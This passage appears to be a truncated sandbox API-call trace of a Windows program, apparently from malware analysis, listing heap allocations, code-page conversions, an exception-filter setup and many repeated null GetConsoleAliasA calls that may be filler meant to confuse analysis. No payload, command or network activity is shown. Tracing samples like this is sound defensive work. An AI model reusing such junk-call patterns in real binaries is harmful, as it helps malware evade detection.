Size=0x62) returned 0x2cc1e00 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x2a) returned 0x2cc1e70 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x2e) returned 0x2cc1ea8 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x1c) returned 0x2cc1ee0 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0xd2) returned 0x2cc1f08 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x7c) returned 0x2cc1fe8 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x36) returned 0x2cc2070 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x3a) returned 0x2cc20b0 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x90) returned 0x2cc20f8 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x24) returned 0x2cc2190 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x30) returned 0x2cc21c0 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x36) returned 0x2cc21f8 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x48) returned 0x2cc2238 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x52) returned 0x2cc2288 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x3c) returned 0x2cc22e8 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0xd2) returned 0x2cc2330 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x2e) returned 0x2cc2410 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x1e) returned 0x2cc2448 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x2c) returned 0x2cc2470 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x54) returned 0x2cc24a8 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x52) returned 0x2cc2508 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x24) returned 0x2cc2568 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x42) returned 0x2cc2598 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x2c) returned 0x2cc25e8 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x44) returned 0x2cc2620 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x24) returned 0x2cc2670 [0184.645] HeapFree (in: hHeap=0x2cc0000, dwFlags=0x0, lpMem=0x2cc0fd0 | out: hHeap=0x2cc0000) returned 1 [0184.646] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x74f30000 [0184.646] GetProcAddress (hModule=0x74f30000, lpProcName="IsProcessorFeaturePresent") returned 0x74f49bf0 [0184.646] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0184.648] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x800) returned 0x2cc26a0 [0184.648] GetLastError () returned 0x0 [0184.648] SetLastError (dwErrCode=0x0) [0184.648] GetLastError () returned 0x0 [0184.649] SetLastError (dwErrCode=0x0) [0184.649] GetLastError () returned 0x0 [0184.649] SetLastError (dwErrCode=0x0) [0184.649] GetACP () returned 0x4e4 [0184.649] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x0, Size=0x220) returned 0x2cc0fd0 [0184.649] GetLastError () returned 0x0 [0184.649] SetLastError (dwErrCode=0x0) [0184.649] IsValidCodePage (CodePage=0x4e4) returned 1 [0184.649] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe7c | out: lpCPInfo=0x19fe7c) returned 1 [0184.649] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f948 | out: lpCPInfo=0x19f948) returned 1 [0184.649] GetLastError () returned 0x0 [0184.649] SetLastError (dwErrCode=0x0) [0184.649] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x19f8d8 | out: lpCharType=0x19f8d8) returned 1 [0184.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0184.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쉡@Ā") returned 256 [0184.650] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쉡@Ā", cchSrc=256, lpCharType=0x19f95c | out: lpCharType=0x19f95c) returned 1 [0184.650] GetLastError () returned 0x0 [0184.650] SetLastError (dwErrCode=0x0) [0184.650] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0184.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0184.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0184.650] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0184.651] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0184.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x19fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x9d3ët\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0184.651] GetLastError () returned 0x0 [0184.651] SetLastError (dwErrCode=0x0) [0184.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0184.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0184.651] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0184.651] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0184.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x19fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x9d3ët\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0184.651] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x80) returned 0x2cc2ea8 [0184.651] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x406703) returned 0x0 [0184.652] RtlSizeHeap (HeapHandle=0x2cc0000, Flags=0x0, MemoryPointer=0x2cc2ea8) returned 0x80 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.652] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.653] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: 